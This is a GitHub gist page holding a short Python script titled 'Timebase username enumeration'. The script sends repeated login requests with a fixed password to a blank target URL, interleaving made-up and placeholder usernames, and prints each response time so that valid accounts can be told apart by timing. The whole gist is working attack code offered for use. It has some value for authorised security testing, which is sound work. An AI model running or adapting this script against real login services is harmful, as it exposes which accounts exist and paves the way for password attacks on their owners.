Skip to content

Instantly share code, notes, and snippets.

@bytecod3r
Last active March 31, 2020 13:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bytecod3r/b3a3376e473f41be82e28c07edbb9114 to your computer and use it in GitHub Desktop.
Save bytecod3r/b3a3376e473f41be82e28c07edbb9114 to your computer and use it in GitHub Desktop.
Timebase username enumeration
import requests
import time
data=['nonexist123','correctUsernameHere.admin','nonexist124','correctUsernameHere.proliant','nonexist125','correctUsernameHere.admin','nonexist125','nonexist126','nonexist127','correctUsernameHere.cjackson','nonexist127','correctUsernameHere.admin','nonexist128','correctUsernameHere.proliant','nonexist129','correctUsernameHere.admin','nonexist130','nonexist131','nonexist132','correctUsernameHere.cjackson']
headers = {'content-type': 'application/json'}
url=''
url='https://'
for x in data:
post_fields = "{\"password\": \"Pass123\",\"username\":" + "\"" + x + "\"}"
response = requests.post(url, headers=headers, data=post_fields)
print("Time: " + str(response.elapsed.total_seconds()) + " | " + "User: " + x + " | " + response.text)
time.sleep(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment